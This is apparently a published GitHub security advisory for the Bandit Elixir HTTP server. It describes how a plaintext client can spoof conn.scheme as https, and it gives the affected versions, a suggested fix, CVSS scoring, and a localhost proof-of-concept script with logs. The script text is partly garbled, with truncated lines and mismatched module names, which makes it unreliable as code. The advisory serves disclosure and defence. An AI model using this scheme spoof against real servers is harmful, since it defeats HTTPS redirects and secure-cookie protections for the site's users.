

mtrudel / bandit Public[Code](#) [Issues](#) 1 [Pull requests](#) 1 [Actions](#) [Security and quality](#) 5 [Insights](#)

Bandit trusts client-supplied scheme on plaintext connections

Moderate mtrudel published [GHSA-375f-4r2h-f99j](#) 1 hour ago

Package

 **bandit** (Erlang)

Affected versions

`>= 1.0.0 and < 1.11.0`

Patched versions

`1.11.0`

Description

Summary

Bandit reflects the client-supplied URI scheme into `conn.scheme` without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like `GET https://victim/path HTTP/1.1` and the application observes `conn.scheme = :https` even though no TLS was negotiated. Any downstream Plug logic that trusts `conn.scheme` as a security signal — `Plug.SSL`'s "already secure, don't redirect" branch, `secure: true` cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.

The vulnerability was introduced on Jun 8, 2023: [ff2f829](#)

Details

The bug is in `lib/bandit/pipeline.ex` at `determine_scheme/2` (around line 89). The function takes the request target's scheme and the transport's `secure?` flag and produces the URI scheme used to build the `%Plug.Conn{} . The third match clause is {_, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.`

Two attacker-controlled inputs reach this code path:

- HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. `GET https://victim/path HTTP/1.1 .`

- HTTP/2 `:scheme` pseudo-header, which is a free-form string sent by the client.

Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare `https` and Bandit will pass `%URI{scheme: "https"}` into `Plug.Conn.Adapter.conn/5`, producing `conn.scheme == :https`. There is no guard in `determine_scheme/2`; the discarding of `secure?` is deliberate.

Suggested fix: when `secure?` is `true`, force the scheme to `"https"`; when `false`, force it to `"http"` — or reject the request with `400 Bad Request` if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.

PoC

A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on `127.0.0.1:4321` with a Plug that echoes `conn.scheme`, opens a plain TCP socket, and sends:

```
GET https://127.0.0.1:4321/ HTTP/1.1
Host: 127.0.0.1:4321
Connection: close
```



A correctly-behaving server would either coerce `conn.scheme` to `:http` or return `400 Bad Request`. Bandit 1.10.4 returns `:https`, confirming the spoof.

Impact

Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:

- `Plug.SSL` skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely.
- Cookies emitted with `secure: true` on a plaintext response, where a network attacker could capture them.
- Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.
- Application code that uses `conn.scheme` to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.

The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on `conn.scheme`.

Script and Logs



```

# Bandit reflects the client-supplied scheme into conn.scheme.
#
# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme
# appears on the request target, ignoring the `secure?` flag that records
# the actual transport state. HTTP/1.1 absolute-form request targets
# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both
# attacker-controlled strings that flow into this function. Over a
# plaintext connection, a client can claim `https` and Bandit hands a
# `%Plug.Conn{scheme: :https}` to the application – even though no TLS
# was negotiated.
#
# Downstream Plug consumers that branch on `conn.scheme` are misled:
# Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie
# flagging, audit logs, CSRF/SameSite gating, etc.
#
# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one
# HTTP/1.1 absolute-form request with scheme `https://`, and prints the
# `conn.scheme` the application observes. A fixed server should report
# `:http` (or reject the request); the buggy server reports `:https`.
#
# Run: elixir scripts/bandit/http1_scheme_spoofing.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule SchemeApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n"
    Plug.Conn.send_resp(conn, 200, body)
  end
end

defmodule SchemeSpoof do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    # Absolute-form request target with scheme "https" over a plaintext
    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;
    # nothing about it implies the connection is TLS.
    request =
      "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <>
      "Host: 127.0.0.1:#{@port}\r\n" <>
      "Connection: close\r\n" <>
      "\r\n"

    log("Sending plaintext HTTP/1.1 request with absolute-form target `https://.../`.")
    :ok = :gen_tcp.send(sock, request)
  end
end

```

```
{:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
:gen_tcp.close(sock)

log("Server response:")
IO.puts(response)

cond do
  response =~ "conn.scheme=https" ->
    log("VULNERABLE – application sees conn.scheme = :https on a plaintext socket.")
    log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all

  response =~ "conn.scheme=http" ->
    log("Server forced scheme to :http – bug appears patched.")

  true ->
    log("Unexpected response shape.")
end
end

defp log(message), do: IO.puts("#{Time.utc_now() |> Time.truncate(:millisecond)}] #{m
end

SchemeSpoofer.run()
```

```
12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target
`https://.../`.
[10:53:25.316] Server response:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 10:53:25 GMT
content-length: 47
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

This is what the Plug sees: conn.scheme=https

[10:53:25.316] VULNERABLE – application sees conn.scheme = :https on a plaintext
socket.
[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would
all trust this.
```



Severity

Moderate 6.3 / 10

CVSS v4 base metrics

Exploitability Metrics

| | |
|---|---------|
| Attack Vector | Network |
| Attack Complexity | Low |
| Attack Requirements | Present |
| Privileges Required | None |
| User interaction | None |
| Vulnerable System Impact Metrics | |
| Confidentiality | Low |
| Integrity | Low |
| Availability | None |
| Subsequent System Impact Metrics | |
| Confidentiality | None |
| Integrity | None |
| Availability | None |
| Learn more about base metrics | |

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/M:L/VA:N/SC:N/SI:N/SA:N

CVE ID

CVE-2026-39807

Weaknesses

▶ CWE-807

Credits

-  **PJUlrich** Reporter
-  **mtrudel** Remediation developer
-  **maennchen** Coordinator